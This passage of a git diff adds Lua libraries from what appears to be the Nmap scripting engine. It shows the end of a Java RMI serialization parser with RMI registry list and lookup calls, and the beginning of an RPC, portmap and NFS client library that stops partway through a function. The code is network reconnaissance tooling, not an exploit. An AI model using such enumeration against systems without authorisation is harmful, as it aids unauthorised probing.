+ local status, classname = dis:readUTF()
+ if not status then return doh( "Could not read data" ) end
+ j_class:setName(classname)
+
+ local status, serialID = dis:readLongAsHexString()
+ if not status then return doh("Could not read data") end
+ j_class:setSerialID(serialID)
+
+ dbg("Set serial ID to %s", tostring(serialID))
+
+ local status, flags = dis:readByte()
+ if not status then return doh("Could not read data") end
+ j_class:setFlags(flags)
+
+
+ local status, fieldCount = dis:readShort()
+ if not status then return doh( "Could not read data") end
+
+ dbg("Fieldcount %d", fieldCount)
+
+ local fields = {}
+ for i =0, fieldCount-1,1 do
+ local status, fieldDesc = readFieldDesc(dis)
+ j_class:addField(fieldDesc)
+ -- Need to store in list, the field values need to be read
+ -- after we have finished reading the class description
+ -- hierarchy
+ table.insert(fields,fieldDesc)
+ end
+ local status, customStrings = skipCustomData(dis)
+ if status and customStrings ~= nil and #customStrings > 0 then
+ j_class:setCustomData(customStrings)
+ end
+
+ local _,superDescriptor = readClassDesc(dis)
+
+ j_class:setSuperClass(superDescriptor)
+ dbg("Superclass read, now reading %i field values", #fields)
+ --Read field values
+ for i=1, #fields, 1 do
+ local status, fieldType = dis:readByte()
+ local value = nil
+ if ( TypeDecoders[fieldType] ) then
+ status, value= TypeDecoders[fieldType](dis)
+ else
+ dbg("error reading".. RMIUtils.tcString(fieldType))
+ return
+ end
+ dbg("Read fieldvalue ".. tostring(value) .. " for field ".. tostring(fields[i]))
+ fields[i]:setValue(value)
+ end
+ dbg("-- leaving readNonProxyDesc--")
+ return true, j_class
+
+
+end
+
+function readProxyDesc(dis)
+ dbg("-- in readProxyDesc--")
+ local interfaces = ''
+ local superclass = nil
+ local status, ifaceNum= dis:readInt()
+ if not status then return doh("Could not read data") end
+ --dbg("# interfaces: %d" , ifaceNum)
+ while ifaceNum > 0 do
+ local status, iface = dis:readUTF()
+ if not status then return doh( "Could not read data") end
+ --table.insert(interfaces, iface)
+ interfaces = interfaces .. iface ..', '
+ dbg("Interface: %s " ,iface)
+ ifaceNum = ifaceNum-1
+ end
+
+ local j_class = JavaClass:new()
+
+ local status, customStrings = skipCustomData(dis)
+ if status and customStrings ~= nil and #customStrings > 0 then
+ j_class:setCustomData(customStrings)
+ end
+
+ local _,superDescriptor = readClassDesc(dis)
+
+
+ --print ("superdescriptor", superDescriptor)
+ j_class:setSuperClass(superDescriptor)
+ j_class:setInterfaces(interfaces)
+
+ dbg("-- leaving readProxyDesc--")
+ return true, j_class
+
+end
+--
+-- Skips over all block data and objects until TC_ENDBLOCKDATA is
+-- encountered.
+-- @see java.io.ObjectInputStream.skipCustomData()
+--@return status
+--@return any strings found while searching
+function skipCustomData(dis)
+ -- If we come across something interesting, just put it into
+ -- the returnData list
+ local returnData = {}
+ while true do
+ local status, p = dis:readByte()
+ if not status then
+ return doh("Could not read data")
+ end
+
+ if not status then return doh("Could not read data") end
+ dbg("skipCustomData read %s", RMIUtils.tcString(p))
+
+ if p == TC.TC_BLOCKDATA or p == TC.TC_BLOCKDATALONG then
+ dbg("continuing")
+ --return
+ elseif p == TC.TC_ENDBLOCKDATA then
+ return true, returnData
+ else
+ -- In the java impl, this is a function called readObject0. We just
+ -- use the read null, otherwise error
+ if p == TC.TC_NULL then
+ -- No op, already read the byte, continue reading
+ elseif p == TC.TC_STRING then
+ --dbg("A string is coming!")
+ local status, str = dis:readUTF()
+ if not status then
+ return doh("Could not read data")
+ end
+ dbg("Got a string, but don't know what to do with it! : %s",str)
+ -- Object serialization is a bit messy. I have seen the
+ -- classpath being sent over a customdata-field, so it is
+ -- definitely interesting. Quick fix to get it showing
+ -- is to just stick it onto the object we are currently at.
+ -- So, just put the string into the returnData and continue
+ table.insert(returnData, str)
+ else
+ return doh("Not implemented in skipcustomData:: %s", RMIUtils.tcString(p))
+ end
+ end
+ end
+end
+
+function readFieldDesc(dis)
+ -- fieldDesc:
+ -- primitiveDesc
+ -- objectDesc
+ -- primitiveDesc:
+ -- prim_typecode fieldName
+ -- objectDesc:
+ -- obj_typecode fieldName className1
+ -- prim_typecode:
+ -- `B' // byte
+ -- `C' // char
+ -- `D' // double
+ -- `F' // float
+ -- `I' // integer
+ -- `J' // long
+ -- `S' // short
+ -- `Z' // boolean
+ -- obj_typecode:
+ -- `[` // array
+ -- `L' // object
+ local j_field = JavaField:new()
+
+ local status, c = dis:readByte()
+ if not status then return doh("Could not read data") end
+
+ local char = string.char(c)
+
+ local status, name = dis:readUTF()
+ if not status then return doh("Could not read data") end
+
+ local fieldType = ('primitive type: (%s) '):format(char)
+ dbg("Fieldtype, char = %s, %s", tostring(fieldType), tostring(char))
+ if char == 'L' or char == '[' then
+ -- These also have classname which tells the type
+ -- on the field
+ local status, fieldclassname = readTypeString(dis)
+ if not status then return doh("Could not read data") end
+ if char == '[' then
+ fieldType = fieldclassname .. " []"
+ else
+ fieldType = fieldclassname
+ end
+ end
+
+ if not status then
+ return false, fieldType
+ end
+
+ dbg("Field description: name: %s, type: %s", tostring(name), tostring(fieldType))
+
+ j_field:setType(fieldType)
+ j_field:setName(name)
+ -- setType = function( self, typ ) self.type = typ end,
+ -- setSignature = function( self, sig ) self.signature = sig end,
+ -- setName = function( self, name ) self.name = name end,
+ -- setObjectType = function( self, ot ) self.object_type = ot end,
+ -- setReference = function( self, ref ) self.ref = ref end,
+
+ dbg("Created java field:".. tostring(j_field))
+
+ return true, j_field
+
+end
+
+function readTypeString(dis)
+ local status, tc = dis:readByte()
+ if not status then return doh("Could not read data") end
+ if tc == TC.TC_NULL then
+ return true, nil
+ elseif tc== TC.TC_REFERENCE then
+ return doh("Not implemented, readTypeString(TC_REFERENCE)");
+ elseif tc == TC.TC_STRING then
+ return dis:readUTF()
+ elseif tc == TC.TC_LONGSTRING then
+ --TODO, add this (will throw error as is)
+ return dis:readLongUTF()
+ end
+end
+
+TypeDecoders =
+{
+ [TC.TC_ARRAY] = readArray,
+ [TC.TC_CLASSDESC] = readClassDesc,
+ [TC.TC_STRING] = readString,
+ [TC.TC_OBJECT] = readOrdinaryObject,
+}
+
+---
+-- Registry
+-- Class to represent the RMI Registry.
+--@usage:
+-- registry = rmi.Registry:new()
+-- status, data = registry:list()
+Registry ={
+ new = function (self,host, port)
+ local o ={} -- create object
+ setmetatable(o, self)
+ self.__index = self -- DIY inheritance
+ -- Hash code for sun.rmi.registry.RegistryImpl_Stub, which we are invoking :
+ -- hex: 0x44154dc9d4e63bdf, dec: 4905912898345647071
+ self.hash = '44154dc9d4e63bdf'
+ -- RmiRegistry object id is 0
+ self.objId = 0
+ o.host = host
+ o.port = port
+ return o
+ end
+}
+-- Connect to the remote registry.
+--@return status
+--@return error message
+function Registry:_handshake()
+ local out = RmiDataStream:new()
+ local status, err = out:connect(self.host,self.port)
+
+ if not status then
+ return doh("Registry connection failed: %s", tostring(err))
+ end
+ dbg("Registry connection OK "..tostring(out.bsocket) )
+ self.out = out
+ return true
+end
+---
+-- List the named objects in the remote RMI registry
+--@return status
+--@return a table of strings , or error message
+function Registry:list()
+ if not self:_handshake() then
+ return doh("Handshake failed")
+ end
+ -- Method list() is op number 1
+ return self.out:invoke(self.objId, self.hash,1)
+end
+---
+-- Perform a lookup on an object in the Registry,
+-- takes the name which is bound in the registry
+-- as argument
+--@return status
+--@return JavaClass-object
+function Registry:lookup(name)
+ self:_handshake()
+ -- Method lookup() is op number 2
+ -- Takes a string as arguments
+ local a = Arguments:new()
+ a:addString(name)
+ return self.out:invoke(self.objId, self.hash,2, a)
+end
+----
+-- Arguments class
+-- This class is meant to handle arguments which is sent to a method invoked
+-- remotely. It is mean to contain functionality to add java primitive datatypes,
+-- such as pushInt, pushString, pushLong etc. All of these are not implemented
+-- currently
+--@usage: When invoking a remote method
+-- use this class in this manner:
+-- Arguments a = Arguments:new()
+-- a:addString("foo")
+-- datastream:invoke{objNum=oid, hash=hash, opNum = opid, arguments=a}
+-- ...
+--
+Arguments = {
+
+ new = function (self,o)
+ o = o or {} -- create object if user does not provide one
+ setmetatable(o, self)
+ self.__index = self -- DIY inheritance
+ -- We use a buffered socket just to be able to use a javaDOS for writing
+ self.dos = JavaDOS:new(BufferedWriter:new())
+ return o
+ end,
+ addString = function(self, str)
+ self.dos:writeByte(TC.TC_STRING)
+ self.dos:writeUTF(str)
+ end,
+ addRaw = function(self, str)
+ self.dos:write(str)
+ end,
+ getData = function(self)
+ local _, res = self.dos:flush()
+ return res
+ end
+}
+
+
+---
+-- RMIUtils class provides some some codes and definitions from Java
+-- There are three types of output messages: Call, Ping and DgcAck.
+-- A Call encodes a method invocation. A Ping is a transport-level message
+-- for testing liveness of a remote virtual machine.
+-- A DGCAck is an acknowledgment directed to a
+-- server's distributed garbage collector that indicates that remote objects
+-- in a return value from a server have been received by the client.
+
+RMIUtils = {
+
+ -- Indicates a Serializable class defines its own writeObject method.
+ SC_WRITE_METHOD = 0x01,
+ -- Indicates Externalizable data written in Block Data mode.
+ SC_BLOCK_DATA = 0x08,
+ -- Bit mask for ObjectStreamClass flag. Indicates class is Serializable.
+ SC_SERIALIZABLE = 0x02,
+ --Bit mask for ObjectStreamClass flag. Indicates class is Externalizable.
+ SC_EXTERNALIZABLE = 0x04,
+ --Bit mask for ObjectStreamClass flag. Indicates class is an enum type.
+ SC_ENUM = 0x10,
+
+ flagsToString = function(flags)
+ local retval = ''
+ if ( (flags & RMIUtils.SC_WRITE_METHOD) ~= 0) then
+ retval = retval .. " WRITE_METHOD"
+ end
+ if ( (flags & RMIUtils.SC_BLOCK_DATA) ~= 0) then
+ retval = retval .. " BLOCK_DATA"
+ end
+ if ( (flags & RMIUtils.SC_EXTERNALIZABLE) ~= 0) then
+ retval = retval .. " EXTERNALIZABLE"
+ end
+ if ( (flags & RMIUtils.SC_SERIALIZABLE) ~= 0) then
+ retval = retval .. " SC_SERIALIZABLE"
+ end
+ if ( (flags & RMIUtils.SC_ENUM) ~= 0) then
+ retval = retval .. " SC_ENUM"
+ end
+ return retval
+ end,
+ tcString = function (constant)
+ local x = TC.Strings[constant] or "Unknown code"
+ return ("%s (0x%x)"):format(x,tostring(constant))
+
+ end,
+
+}
+
+local RMIMessage = {
+ Call = 0x50,
+ Ping = 0x52,
+ DgcAck= 0x54,
+}
+STREAM_MAGIC = 0xaced
+STREAM_VERSION = 5
+
+baseWireHandle = 0x7E0000
+
+return _ENV;
diff --git a/nselib/rpc.lua b/nselib/rpc.lua
new file mode 100644
index 0000000..c3a880a
--- /dev/null
+++ b/nselib/rpc.lua
@@ -0,0 +1,3490 @@
+---
+-- RPC Library supporting a very limited subset of operations.
+--
+-- The library works over both the UDP and TCP protocols. A subset of nfs and
+-- mountd procedures are supported. The nfs and mountd programs support
+-- versions 1 through 3. Authentication is supported using the NULL RPC
+-- Authentication protocol
+--
+-- The library contains the following classes:
+-- * <code>Comm </code>
+-- ** Handles network connections.
+-- ** Handles low-level packet sending, receiving, decoding and encoding.
+-- ** Stores rpc programs info: socket, protocol, program name, id and version.
+-- ** Used by Mount, NFS, RPC and Portmap.
+-- * <code>Portmap</code>
+-- ** Contains RPC constants.
+-- ** Handles communication with the portmap RPC program.
+-- * <code>Mount</code>
+-- ** Handles communication with the mount RPC program.
+-- * <code>NFS</code>
+-- ** Handles communication with the nfs RPC program.
+-- * <code>Helper</code>
+-- ** Provides easy access to common RPC functions.
+-- ** Implemented as a static class where most functions accept host and port parameters.
+-- * <code>Util</code>
+-- ** Mostly static conversion routines.
+--
+-- The portmapper dynamically allocates TCP/UDP ports to RPC programs. So in
+-- in order to request a list of NFS shares from the server we need to:
+-- * Make sure that we can talk to the portmapper on port 111 TCP or UDP.
+-- * Query the portmapper for the ports allocated to the NFS program.
+-- * Query the NFS program for a list of shares on the ports returned by the portmap program.
+--
+-- The Helper class contains functions that facilitate access to common
+-- RPC program procedures through static class methods. Most functions accept
+-- host and port parameters. As the Helper functions query the portmapper to
+-- get the correct RPC program port, the port supplied to these functions
+-- should be the rpcbind port 111/tcp or 111/udp.
+--
+-- The following sample code illustrates how scripts can use the <code>Helper</code> class
+-- to interface the library:
+--
+-- <code>
+-- -- retrieve a list of NFS export
+-- status, mounts = rpc.Helper.ShowMounts( host, port )
+--
+-- -- iterate over every share
+-- for _, mount in ipairs( mounts ) do
+--
+-- -- get the NFS attributes for the share
+-- status, attribs = rpc.Helper.GetAttributes( host, port, mount.name )
+-- .... process NFS attributes here ....
+-- end
+-- </code>
+--
+-- RPC transaction IDs (XID) are not properly implemented as a random ID is
+-- generated for each client call. The library makes no attempt to verify
+-- whether the returned XID is valid or not.
+--
+-- Therefore TCP is the preferred method of communication and the library
+-- always attempts to connect to the TCP port of the RPC program first.
+-- This behaviour can be overridden by setting the rpc.protocol argument.
+-- The portmap service is always queried over the protocol specified in the
+-- port information used to call the Helper function from the script.
+--
+-- When multiple versions exists for a specific RPC program the library
+-- always attempts to connect using the highest available version.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+-- @args nfs.version number If set overrides the detected version of nfs
+-- @args mount.version number If set overrides the detected version of mountd
+-- @args rpc.protocol table If set overrides the preferred order in which
+-- protocols are tested. (ie. "tcp", "udp")
+
+local datafiles = require "datafiles"
+local datetime = require "datetime"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+_ENV = stdnse.module("rpc", stdnse.seeall)
+
+-- Version 0.3
+--
+-- Created 01/24/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/22/2010 - v0.2 - cleanup, revised the way TCP/UDP are handled fo
+-- encoding an decoding
+-- Revised 03/13/2010 - v0.3 - re-worked library to be OO
+-- Revised 04/18/2010 - v0.4 - Applied patch from Djalal Harouni with improved
+-- error checking and re-designed Comm class. see:
+-- http://seclists.org/nmap-dev/2010/q2/232
+-- Revised 06/02/2010 - v0.5 - added code to the Util class to check for file
+-- types and permissions.
+-- Revised 06/04/2010 - v0.6 - combined Portmap and RPC classes in the
+-- same Portmap class.
+--
+
+
+-- RPC args using the nmap.registry.args
+RPC_args = {
+ ["rpcbind"] = { proto = 'rpc.protocol' },
+ ["nfs"] = { ver = 'nfs.version' },
+ ["mountd"] = { ver = 'mount.version' },
+}
+
+-- Defines the order in which to try to connect to the RPC programs
+-- TCP appears to be more stable than UDP in most cases, so try it first
+local RPC_PROTOCOLS = (nmap.registry.args and nmap.registry.args[RPC_args['rpcbind'].proto] and
+ type(nmap.registry.args[RPC_args['rpcbind'].proto]) == 'table') and
+nmap.registry.args[RPC_args['rpcbind'].proto] or { "tcp", "udp" }
+
+-- used to cache the contents of the rpc datafile
+local RPC_PROGRAMS, RPC_NUMBERS
+
+-- local mutex to synchronize I/O operations on nmap.registry[host.ip]['portmapper']
+local mutex = nmap.mutex("rpc")
+
+-- Supported protocol versions
+RPC_version = {
+ ["rpcbind"] = { min=2, max=4 },
+ ["nfs"] = { min=1, max=3 },
+ ["mountd"] = { min=1, max=3 },
+}
+
+-- Low-level communication class
+Comm = {
+
+ --- Creates a new rpc Comm object
+ --
+ -- @param program name string
+ -- @param version number containing the program version to use
+ -- @return a new Comm object
+ new = function(self, program, version)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.program = program
+ o.program_id = Util.ProgNameToNumber(program)
+ o.checkprogver = true
+ o:SetVersion(version)
+ return o
+ end,
+
+ --- Connects to the remote program
+ --
+ -- @param host table
+ -- @param port table
+ -- @param timeout [optional] socket timeout in ms
+ -- @return status boolean true on success, false on failure
+ -- @return string containing error message (if status is false)
+ Connect = function(self, host, port, timeout)
+ local status, err, socket
+ status, err = self:ChkProgram()
+ if (not(status)) then
+ return status, err
+ end
+ status, err = self:ChkVersion()
+ if (not(status)) then
+ return status, err
+ end
+ timeout = timeout or stdnse.get_timeout(host, 10000)
+ local new_socket = function(...)
+ local socket = nmap.new_socket(...)
+ socket:set_timeout(timeout)
+ return socket
+ end
+ if ( port.protocol == "tcp" ) then
+ if nmap.is_privileged() then
+ -- Try to bind to a reserved port
+ for i = 1, 10, 1 do
+ local resvport = math.random(512, 1023)
+ socket = new_socket()
+ status, err = socket:bind(nil, resvport)
+ if status then
+ status, err = socket:connect(host, port)
+ if status or err == "TIMEOUT" then break end
+ socket:close()
+ end
+ end
+ else
+ socket = new_socket()
+ status, err = socket:connect(host, port)
+ end
+ else
+ if nmap.is_privileged() then
+ -- Try to bind to a reserved port
+ for i = 1, 10, 1 do
+ local resvport = math.random(512, 1023)
+ socket = new_socket("udp")
+ status, err = socket:bind(nil, resvport)
+ if status then
+ status, err = socket:connect(host, port)
+ if status or err == "TIMEOUT" then break end
+ socket:close()
+ end
+ end
+ else
+ socket = new_socket("udp")
+ status, err = socket:connect(host, port)
+ end
+ end
+ if (not(status)) then
+ return status, string.format("%s connect error: %s",
+ self.program, err)
+ else
+ self.socket = socket
+ self.host = host
+ self.ip = host.ip
+ self.port = port.number
+ self.proto = port.protocol
+ return status, nil
+ end
+ end,
+
+ --- Disconnects from the remote program
+ --
+ -- @return status boolean true on success, false on failure
+ -- @return string containing error message (if status is false)
+ Disconnect = function(self)
+ local status, err = self.socket:close()
+ if (not(status)) then
+ return status, string.format("%s disconnect error: %s",
+ self.program, err)
+ end
+ self.socket=nil
+ return status, nil
+ end,
+
+ --- Checks if the rpc program is supported
+ --
+ -- @return status boolean true on success, false on failure
+ -- @return string containing error message (if status is false)
+ ChkProgram = function(self)
+ if (not(RPC_version[self.program])) then
+ return false, string.format("RPC library does not support: %s protocol",
+ self.program)
+ end
+ return true, nil
+ end,
+
+ --- Checks if the rpc program version is supported
+ --
+ -- @return status boolean true on success, false on failure
+ -- @return string containing error message (if status is false)
+ ChkVersion = function(self)
+ if not self.checkprogver then return true end
+ if ( self.version > RPC_version[self.program].max or
+ self.version < RPC_version[self.program].min ) then
+ return false, string.format("RPC library does not support: %s version %d",
+ self.program,self.version)
+ end
+ return true, nil
+ end,
+
+ --- Sets the rpc program version
+ --
+ -- @return status boolean true
+ SetVersion = function(self, version)
+ if self.checkprogver then
+ if (RPC_version[self.program] and RPC_args[self.program] and
+ nmap.registry.args and nmap.registry.args[RPC_args[self.program].ver]) then
+ self.version = tonumber(nmap.registry.args[RPC_args[self.program].ver])
+ elseif (not(self.version) and version) then
+ self.version = version
+ end
+ else
+ self.version = version
+ end
+ return true, nil
+ end,
+
+ --- Sets the verification of the specified program and version support
+ -- before trying to connecting.
+ -- @param check boolean to enable or disable checking of program and version support.
+ SetCheckProgVer = function(self, check)
+ self.checkprogver = check
+ end,
+
+ --- Sets the RPC program ID to use.
+ -- @param progid number Program ID to set.
+ SetProgID = function(self, progid)
+ self.program_id = progid
+ end,
+
+ --- Checks if <code>data</code> contains enough bytes to read the <code>needed</code> amount
+ --
+ -- If it doesn't it attempts to read the remaining amount of bytes from the
+ -- socket. Unlike <code>socket.receive_bytes</code>, reading less than
+ -- <code>needed</code> is treated as an error.
+ --
+ -- @param data string containing the current buffer
+ -- @param pos number containing the current offset into the buffer
+ -- @param needed number containing the number of bytes needed to be available
+ -- @return status success or failure
+ -- @return data string containing the data passed to the function and the additional data appended to it or error message on failure
+ GetAdditionalBytes = function( self, data, pos, needed )
+ local toread = needed - ( data:len() - pos + 1 )
+ -- Do the loop ourselves instead of receive_bytes. Pathological case:
+ -- * read less than needed and timeout
+ -- * receive_bytes returns short but we don't know if it's eof or timeout
+ -- * Try again. If it was timeout, we've doubled the timeout waiting for bytes that aren't coming.
+ while toread > 0 do
+ local status, tmp = self.socket:receive()
+ if status then
+ toread = toread - #tmp
+ data = data .. tmp
+ else
+ return false, string.format("getAdditionalBytes read %d bytes before error: %s",
+ needed - toread, tmp)
+ end
+ end
+ return true, data
+ end,
+
+ --- Creates a RPC header
+ --
+ -- @param xid number. If no xid was provided, a random one will be used.
+ -- @param procedure number containing the procedure to call. Defaults to <code>0</code>.
+ -- @param auth table containing the authentication data to use. Defaults to NULL authentication.
+ -- @return status boolean true on success, false on failure
+ -- @return string of bytes on success, error message on failure
+ CreateHeader = function( self, xid, procedure, auth )
+ local RPC_VERSION = 2
+ local packet
+ -- Defaulting to NULL Authentication
+ local auth = auth or {type = Portmap.AuthType.NULL}
+ local xid = xid or math.random(1234567890)
+ local procedure = procedure or 0
+
+ packet = string.pack( ">I4 I4 I4 I4 I4 I4", xid, Portmap.MessageType.CALL, RPC_VERSION,
+ self.program_id, self.version, procedure )
+ if auth.type == Portmap.AuthType.NULL then
+ packet = packet .. string.pack( ">I4 I4 I4 I4", 0, 0, 0, 0 )
+ elseif auth.type == Portmap.AuthType.UNIX then
+ packet = packet .. Util.marshall_int32(auth.type)
+ local blob = (
+ Util.marshall_int32(math.floor(nmap.clock())) --time
+ .. Util.marshall_vopaque(auth.hostname or 'localhost')
+ .. Util.marshall_int32(auth.uid or 0)
+ .. Util.marshall_int32(auth.gid or 0)
+ )
+ if auth.gids then --len prefix gid list
+ blob = blob .. Util.marshall_int32(#auth.gids)
+ for _,gid in ipairs(auth.gids) do
+ blob = blob .. Util.marshall_int32(gid)
+ end
+ else
+ blob = blob .. Util.marshall_int32(0)
+ end
+ packet = (packet .. Util.marshall_vopaque(blob)
+ .. string.pack( ">I4 I4", 0, 0 ) --AUTH_NULL verf
+ )
+ else
+ return false, "Comm.CreateHeader: invalid authentication type specified"
+ end
+ return true, packet
+ end,
+
+ --- Decodes the RPC header (without the leading 4 bytes as received over TCP)
+ --
+ -- @param data string containing the buffer of bytes read so far
+ -- @param pos number containing the current offset into data
+ -- @return pos number containing the offset after the decoding
+ -- @return header table containing <code>xid</code>, <code>type</code>, <code>state</code>,
+ -- <code>verifier</code> and ( <code>accept_state</code> or <code>denied_state</code> )
+ DecodeHeader = function( self, data, pos )
+ local header = {}
+ local status
+
+ local HEADER_LEN = 20
+
+ header.verifier = {}
+
+ pos = pos or 1
+ if ( data:len() - pos + 1 < HEADER_LEN ) then
+ local tmp
+ status, tmp = self:GetAdditionalBytes( data, pos, HEADER_LEN - ( data:len() - pos ) )
+ if not status then
+ stdnse.debug4("Comm.DecodeHeader: failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ data = data .. tmp
+ end
+
+ header.xid, header.type, header.state, pos = string.unpack(">I4 I4 I4", data, pos)
+
+ if ( header.state == Portmap.State.MSG_DENIED ) then
+ header.denied_state, pos = string.unpack(">I4", data, pos )
+ return pos, header
+ end
+
+ header.verifier.flavor, pos = string.unpack(">I4", data, pos)
+ header.verifier.length, pos = string.unpack(">I4", data, pos)
+
+ if header.verifier.length - 8 > 0 then
+ status, data = self:GetAdditionalBytes( data, pos, header.verifier.length - 8 )
+ if not status then
+ stdnse.debug4("Comm.DecodeHeader: failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ header.verifier.data, pos = string.unpack("c" .. header.verifier.length - 8, data, pos )
+ end
+ header.accept_state, pos = string.unpack(">I4", data, pos )
+
+ return pos, header
+ end,
+
+ --- Reads the response from the socket
+ --
+ -- @return status true on success, false on failure
+ -- @return data string containing the raw response or error message on failure
+ ReceivePacket = function( self )
+ local status
+
+ if ( self.proto == "udp" ) then
+ -- There's not much we can do in here to check if we received all data
+ -- as the packet contains no length field. It's up to each decoding function
+ -- to do appropriate checks
+ return self.socket:receive_bytes(1)
+ else
+ local tmp, lastfragment, length
+ local data, pos = "", 1
+
+ -- Maximum number of allowed attempts to parse the received bytes. This
+ -- prevents the code from looping endlessly on invalid content.
+ local retries = 400
+
+ repeat
+ retries = retries - 1
+ lastfragment = false
+ status, data = self:GetAdditionalBytes( data, pos, 4 )
+ if ( not(status) ) then
+ return false, "Comm.ReceivePacket: failed to call GetAdditionalBytes"
+ end
+
+ tmp, pos = string.unpack(">I4", data, pos )
+ length = tmp & 0x7FFFFFFF
+
+ if (tmp & 0x80000000) == 0x80000000 then
+ lastfragment = true
+ end
+
+ status, data = self:GetAdditionalBytes( data, pos, length )
+ if ( not(status) ) then
+ return false, "Comm.ReceivePacket: failed to call GetAdditionalBytes"
+ end
+
+ --
+ -- When multiple packets are received they look like this
+ -- H = Header data
+ -- D = Data
+ --
+ -- We don't want the Header
+ --
+ -- HHHHDDDDDDDDDDDDDDHHHHDDDDDDDDDDD
+ -- ^ ^ ^ ^
+ -- 1 5 18 22
+ --
+ -- eg. we want
+ -- data:sub(5, 18) and data:sub(22)
+ --
+
+ local bufcopy = data:sub(pos)
+
+ if 1 ~= pos - 4 then
+ bufcopy = data:sub(1, pos - 5) .. bufcopy
+ pos = pos - 4
+ else
+ pos = 1
+ end
+
+ pos = pos + length
+ data = bufcopy
+ until (lastfragment == true) or (retries == 0)
+
+ if retries == 0 then
+ return false, "Aborted after too many retries"
+ end
+ return true, data
+ end
+ end,
+
+ --- Encodes a RPC packet
+ --
+ -- @param xid number containing the transaction ID
+ -- @param proc number containing the procedure to call
+ -- @param auth table containing authentication information
+ -- @param data string containing the packet data
+ -- @return packet string containing the encoded packet data
+ EncodePacket = function( self, xid, proc, auth, data )
+ local status, packet = self:CreateHeader( xid, proc, auth )
+ local len
+ if ( not(status) ) then
+ return
+ end
+
+ packet = packet .. ( data or "" )
+ if ( self.proto == "udp") then
+ return packet
+ else
+ -- set the high bit as this is our last fragment
+ len = 0x80000000 + packet:len()
+ return string.pack(">I4", len) .. packet
+ end
+ end,
+
+ SendPacket = function( self, packet )
+ if ( self.host and self.port ) then
+ return self.socket:sendto(self.host, self.port, packet)
+ else
+ return self.socket:send( packet )
+ end
+ end,
+
+ GetSocketInfo = function(self)
+ return self.socket:get_info()
+ end,
+
+}
+
+--- Portmap (rpcbind) class
+Portmap =
+{
+ PROTOCOLS = {
+ ['tcp'] = 6,
+ ['udp'] = 17,
+ },
+
+ -- TODO: add more Authentication Protocols
+ AuthType =
+ {
+ NULL = 0,
+ UNIX = 1,
+ },
+
+ -- TODO: complete Authentication stats and error messages
+ AuthState =
+ {
+ AUTH_OK = 0,
+ AUTH_BADCRED = 1,
+ AUTH_REJECTEDCRED = 2,
+ AUTH_BADVERF = 3,
+ AUTH_REJECTEDVERF = 4,
+ AUTH_TOOWEAK = 5,
+ AUTH_INVALIDRESP = 6,
+ AUTH_FAILED = 7,
+ },
+
+ AuthMsg =
+ {
+ [0] = "Success.",
+ [1] = "bad credential (seal broken).",
+ [2] = "client must begin new session.",
+ [3] = "bad verifier (seal broken).",
+ [4] = "verifier expired or replayed.",
+ [5] = "rejected for security reasons.",
+ [6] = "bogus response verifier.",
+ [7] = "reason unknown.",
+ },
+
+ MessageType =
+ {
+ CALL = 0,
+ REPLY = 1
+ },
+
+ Procedure =
+ {
+ [2] =
+ {
+ GETPORT = 3,
+ DUMP = 4,
+ CALLIT = 5,
+ },
+
+ [3] =
+ {
+ DUMP = 4,
+ },
+
+ [4] =
+ {
+ DUMP = 4,
+ },
+
+ },
+
+ State =
+ {
+ MSG_ACCEPTED = 0,
+ MSG_DENIED = 1,
+ },
+
+ AcceptState =
+ {
+ SUCCESS = 0,
+ PROG_UNAVAIL = 1,
+ PROG_MISMATCH = 2,
+ PROC_UNAVAIL = 3,
+ GARBAGE_ARGS = 4,
+ SYSTEM_ERR = 5,
+ },
+
+ AcceptMsg =
+ {
+ [0] = "RPC executed successfully.",
+ [1] = "remote hasn't exported program.",
+ [2] = "remote can't support version.",
+ [3] = "program can't support procedure.",
+ [4] = "procedure can't decode params.",
+ [5] = "errors like memory allocation failure.",
+ },
+
+ RejectState =
+ {
+ RPC_MISMATCH = 0,
+ AUTH_ERROR = 1,
+ },
+
+ RejectMsg =
+ {
+ [0] = "RPC version number != 2.",
+ [1] = "remote can't authenticate caller.",
+ },
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Dumps a list of RCP programs from the portmapper
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @return status boolean true on success, false on failure
+ -- @return result table containing RPC program information or error message
+ -- on failure. The table has the following format:
+ --
+ -- <code>
+ -- table[program_id][protocol]["port"] = <port number>
+ -- table[program_id][protocol]["version"] = <table of versions>
+ -- table[program_id][protocol]["addr"] = <IP address, for RPCv3 and higher>
+ -- </code>
+ --
+ -- Where
+ -- o program_id is the number associated with the program
+ -- o protocol is one of "tcp", "udp", "tcp6", or "udp6", or another netid
+ -- reported by the system.
+ --
+ Dump = function(self, comm)
+ local status, data, packet, response, pos, header
+ local program_table = setmetatable({}, { __mode = 'v' })
+
+ packet = comm:EncodePacket( nil, Portmap.Procedure[comm.version].DUMP,
+ { type=Portmap.AuthType.NULL }, data )
+ if (not(comm:SendPacket(packet))) then
+ return false, "Portmap.Dump: Failed to send data"
+ end
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "Portmap.Dump: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, 1 )
+ if ( not(header) ) then
+ return false, "Portmap.Dump: Failed to decode RPC header"
+ end
+
+ if header.type ~= Portmap.MessageType.REPLY then
+ return false, "Portmap.Dump: Packet was not a reply"
+ end
+
+ if header.state ~= Portmap.State.MSG_ACCEPTED then
+ if (Portmap.RejectMsg[header.denied_state]) then
+ return false,
+ string.format("Portmap.Dump: RPC call failed: %s",
+ Portmap.RejectMsg[header.denied_state])
+ else
+ return false,
+ string.format("Portmap.Dump: RPC call failed: code %d",
+ header.state)
+ end
+ end
+
+ if header.accept_state ~= Portmap.AcceptState.SUCCESS then
+ if (Portmap.AcceptMsg[header.accept_state]) then
+ return false,
+ string.format("Portmap.Dump: RPC accepted state: %s",
+ Portmap.AcceptMsg[header.accept_state])
+ else
+ return false,
+ string.format("Portmap.Dump: RPC accepted state code %d",
+ header.accept_state)
+ end
+ end
+
+ while true do
+ local vfollows
+ local program, version, protocol, port
+
